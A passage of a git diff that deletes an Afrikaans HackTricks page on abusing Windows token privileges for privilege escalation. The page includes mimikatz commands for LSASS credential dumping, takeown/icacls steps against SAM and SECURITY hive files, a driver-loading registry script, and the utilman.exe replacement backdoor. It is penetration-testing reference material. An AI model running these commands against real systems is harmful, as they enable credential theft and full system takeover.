- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Tegniekbeskrywing (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## Verwysings
## References
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)

180
src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
View File

@ -1,180 +0,0 @@
# Misbruik van Tokens
{{#include ../../../banners/hacktricks-training.md}}
## Tokens
As jy **nie weet wat Windows Toegangstokens is nie**, lees hierdie bladsy voordat jy voortgaan:
{{#ref}}
../access-tokens.md
{{#endref}}
**Miskien kan jy voorregte opgradeer deur die tokens wat jy reeds het, te misbruik**
### SeImpersonatePrivilege
Dit is 'n voorreg wat deur enige proses gehou word wat die impersonasie (maar nie die skepping) van enige token toelaat, mits 'n handvatsel daarvoor verkry kan word. 'n Bevoorregte token kan van 'n Windows-diens (DCOM) verkry word deur dit te dwing om NTLM-verifikasie teen 'n exploit uit te voer, wat die uitvoering van 'n proses met SYSTEM-voorregte moontlik maak. Hierdie kwesbaarheid kan benut word met verskeie gereedskap, soos [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (wat vereis dat winrm gedeaktiveer moet wees), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) en [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
Dit is baie soortgelyk aan **SeImpersonatePrivilege**, dit sal die **dieselfde metode** gebruik om 'n bevoorregte token te verkry.\
Dan laat hierdie voorreg **toe om 'n primêre token** aan 'n nuwe/gesuspendeerde proses toe te ken. Met die bevoorregte impersonasie-token kan jy 'n primêre token aflei (DuplicateTokenEx).\
Met die token kan jy 'n **nuwe proses** skep met 'CreateProcessAsUser' of 'n proses gesuspend en **die token stel** (in die algemeen kan jy nie die primêre token van 'n lopende proses verander nie).
### SeTcbPrivilege
As jy hierdie token geaktiveer het, kan jy **KERB_S4U_LOGON** gebruik om 'n **impersonasie-token** vir enige ander gebruiker te verkry sonder om die akrediteer te ken, **voeg 'n arbitrêre groep** (admins) by die token, stel die **integriteitsvlak** van die token op "**medium**", en ken hierdie token toe aan die **huidige draad** (SetThreadToken).
### SeBackupPrivilege
Die stelsel word veroorsaak om **alle lees toegang** beheer aan enige lêer (beperk tot lees operasies) deur hierdie voorreg te verleen. Dit word gebruik vir **die lees van die wagwoord hashes van plaaslike Administrateur** rekeninge uit die registrasie, waarna gereedskap soos "**psexec**" of "**wmiexec**" met die hash (Pass-the-Hash tegniek) gebruik kan word. Hierdie tegniek faal egter onder twee toestande: wanneer die Plaaslike Administrateur rekening gedeaktiveer is, of wanneer 'n beleid in plek is wat administratiewe regte van Plaaslike Administrateurs wat afstand doen, verwyder.\
Jy kan **hierdie voorreg misbruik** met:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- volg **IppSec** in [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- Of soos verduidelik in die **opgradering van voorregte met Backup Operators** afdeling van:
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
Toestemming vir **skrywe toegang** tot enige stelsellêer, ongeag die lêer se Toegang Beheer Lys (ACL), word deur hierdie voorreg verskaf. Dit bied talle moontlikhede vir opgradering, insluitend die vermoë om **dienste te wysig**, DLL Hijacking uit te voer, en **debuggers** via Image File Execution Options in te stel, onder verskeie ander tegnieke.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege is 'n kragtige toestemming, veral nuttig wanneer 'n gebruiker die vermoë het om tokens te impersonate, maar ook in die afwesigheid van SeImpersonatePrivilege. Hierdie vermoë hang af van die vermoë om 'n token te impersonate wat dieselfde gebruiker verteenwoordig en wie se integriteitsvlak nie hoër is as dié van die huidige proses nie.
**Belangrike Punten:**
- **Impersonasie sonder SeImpersonatePrivilege:** Dit is moontlik om SeCreateTokenPrivilege vir EoP te benut deur tokens onder spesifieke toestande te impersonate.
- **Toestande vir Token Impersonasie:** Succesvolle impersonasie vereis dat die teiken token aan dieselfde gebruiker behoort en 'n integriteitsvlak het wat minder of gelyk is aan die integriteitsvlak van die proses wat die impersonasie probeer.
- **Skepping en Wysiging van Impersonasie Tokens:** Gebruikers kan 'n impersonasie-token skep en dit verbeter deur 'n bevoorregte groep se SID (Security Identifier) by te voeg.
### SeLoadDriverPrivilege
Hierdie voorreg laat toe om **toestel bestuurders te laai en te ontlaai** met die skepping van 'n registrasie-invoer met spesifieke waardes vir `ImagePath` en `Type`. Aangesien direkte skrywe toegang tot `HKLM` (HKEY_LOCAL_MACHINE) beperk is, moet `HKCU` (HKEY_CURRENT_USER) eerder gebruik word. Om egter `HKCU` vir die kern herkenbaar te maak vir bestuurder konfigurasie, moet 'n spesifieke pad gevolg word.
Hierdie pad is `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, waar `<RID>` die Relatiewe Identifiseerder van die huidige gebruiker is. Binne `HKCU` moet hierdie hele pad geskep word, en twee waardes moet gestel word:
- `ImagePath`, wat die pad na die binêre is wat uitgevoer moet word
- `Type`, met 'n waarde van `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**Stappe om te Volg:**
1. Toegang `HKCU` eerder as `HKLM` weens beperkte skrywe toegang.
2. Skep die pad `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` binne `HKCU`, waar `<RID>` die huidige gebruiker se Relatiewe Identifiseerder verteenwoordig.
3. Stel die `ImagePath` op die binêre se uitvoeringspad.
4. Ken die `Type` as `SERVICE_KERNEL_DRIVER` (`0x00000001`) toe.
```python
# Example Python code to set the registry values
import winreg as reg
# Define the path and values
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
reg.CloseKey(key)
```
Meer maniere om hierdie voorreg te misbruik in [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
### SeTakeOwnershipPrivilege
Dit is soortgelyk aan **SeRestorePrivilege**. Die primêre funksie laat 'n proses toe om **eienaarskap van 'n objek aan te neem**, wat die vereiste vir eksplisiete diskresionêre toegang omseil deur die verskaffing van WRITE_OWNER toegangregte. Die proses behels eers die verkryging van eienaarskap van die beoogde registriesleutel vir skryfdoeleindes, en dan die verandering van die DACL om skryfoperasies moontlik te maak.
```bash
takeown /f 'C:\some\file.txt' #Now the file is owned by you
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
# Use this with files that might contain credentials such as
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
c:\inetpub\wwwwroot\web.config
```
### SeDebugPrivilege
Hierdie voorreg laat die **ontleding van ander prosesse** toe, insluitend om in die geheue te lees en te skryf. Verskeie strategieë vir geheue-inspuiting, wat in staat is om die meeste antivirus- en gasheer-inbraakvoorkomingsoplossings te omseil, kan met hierdie voorreg gebruik word.
#### Dump geheue
Jy kan [ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump) van die [SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) of [SharpDump](https://github.com/GhostPack/SharpDump) gebruik om die **geheue van 'n proses** te **vang**. Spesifiek kan dit van toepassing wees op die **Local Security Authority Subsystem Service ([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))** proses, wat verantwoordelik is vir die stoor van gebruikersakkrediteer nadat 'n gebruiker suksesvol in 'n stelsel aangemeld het.
Jy kan dan hierdie dump in mimikatz laai om wagwoorde te verkry:
```
mimikatz.exe
mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```
#### RCE
As jy 'n `NT SYSTEM` shell wil kry, kan jy gebruik maak van:
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
```bash
# Get the PID of a process running as NT SYSTEM
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
```
### SeManageVolumePrivilege
Die `SeManageVolumePrivilege` is 'n Windows gebruikersreg wat gebruikers toelaat om skyf volumes te bestuur, insluitend die skep en verwyder van hulle. Alhoewel dit bedoel is vir administrateurs, kan dit, indien aan nie-admin gebruikers toegeken, uitgebuit word vir privilige-eskalasie.
Dit is moontlik om hierdie privilige te benut om volumes te manipuleer, wat lei tot volle volume toegang. Die [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) kan gebruik word om volle toegang aan alle gebruikers vir C:\ te gee.
Boonop beskryf die proses uiteengesit in [hierdie Medium artikel](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) die gebruik van DLL-hijacking in samewerking met `SeManageVolumePrivilege` om privilige te eskaleer. Deur 'n payload DLL `C:\Windows\System32\wbem\tzres.dll` te plaas en `systeminfo` aan te roep, word die dll uitgevoer.
## Check privileges
```
whoami /priv
```
Die **tokens wat as Gestremde verskyn** kan geaktiveer word, jy kan eintlik _Geaktiveerde_ en _Gestremde_ tokens misbruik.
### Aktiveer Alle die tokens
As jy tokens het wat gestremd is, kan jy die skrip [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) gebruik om al die tokens te aktiveer:
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Of die **script** ingebed in hierdie [**plasing**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Tabel
Volledige token bevoegdhede cheatsheet by [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), opsomming hieronder sal slegs direkte maniere lys om die bevoegdheid te benut om 'n admin-sessie te verkry of sensitiewe lêers te lees.
| Bevoegdheid | Impak | Gereedskap | Uitvoeringspad | Opmerkings |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3de party gereedskap | _"Dit sal 'n gebruiker toelaat om tokens na te boots en privesc na nt stelsel te gebruik met gereedskap soos potato.exe, rottenpotato.exe en juicypotato.exe"_ | Dankie [Aurélien Chalot](https://twitter.com/Defte_) vir die opdatering. Ek sal probeer om dit binnekort in iets meer resep-agtig te herformuleer. |
| **`SeBackup`** | **Dreig** | _**Ingeboude opdragte**_ | Lees sensitiewe lêers met `robocopy /b` | <p>- Mag meer interessant wees as jy %WINDIR%\MEMORY.DMP kan lees<br><br>- <code>SeBackupPrivilege</code> (en robocopy) is nie nuttig wanneer dit kom by oop lêers nie.<br><br>- Robocopy vereis beide SeBackup en SeRestore om met /b parameter te werk.</p> |
| **`SeCreateToken`** | _**Admin**_ | 3de party gereedskap | Skep arbitrêre token insluitend plaaslike admin regte met `NtCreateToken`. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | Dubbel die `lsass.exe` token. | Skrip om te vind by [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
| **`SeLoadDriver`** | _**Admin**_ | 3de party gereedskap | <p>1. Laai foutiewe kern bestuurder soos <code>szkg64.sys</code><br>2. Benut die bestuurder kwesbaarheid<br><br>Alternatiewelik kan die bevoegdheid gebruik word om sekuriteitsverwante bestuurders met <code>ftlMC</code> ingeboude opdrag te ontlaai. d.w.s.: <code>fltMC sysmondrv</code></p> | <p>1. Die <code>szkg64</code> kwesbaarheid is gelys as <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. Die <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">benuttingskode</a> is geskep deur <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. Begin PowerShell/ISE met die SeRestore bevoegdheid teenwoordig.<br>2. Aktiveer die bevoegdheid met <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>).<br>3. Hernoem utilman.exe na utilman.old<br>4. Hernoem cmd.exe na utilman.exe<br>5. Sluit die konsole en druk Win+U</p> | <p>Die aanval mag deur sommige AV sagteware opgespoor word.</p><p>Alternatiewe metode berus op die vervanging van diens binaire wat in "Program Files" gestoor is met dieselfde bevoegdheid</p> |
| **`SeTakeOwnership`** | _**Admin**_ | _**Ingeboude opdragte**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Hernoem cmd.exe na utilman.exe<br>4. Sluit die konsole en druk Win+U</p> | <p>Die aanval mag deur sommige AV sagteware opgespoor word.</p><p>Alternatiewe metode berus op die vervanging van diens binaire wat in "Program Files" gestoor is met dieselfde bevoegdheid.</p> |
| **`SeTcb`** | _**Admin**_ | 3de party gereedskap | <p>Manipuleer tokens om plaaslike admin regte ingesluit te hê. Mag SeImpersonate vereis.</p><p>Om geverifieer te word.</p> | |
## Verwysing
- Kyk na hierdie tabel wat Windows tokens definieer: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Kyk na [**hierdie papier**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) oor privesc met tokens.
{{#include ../../../banners/hacktricks-training.md}}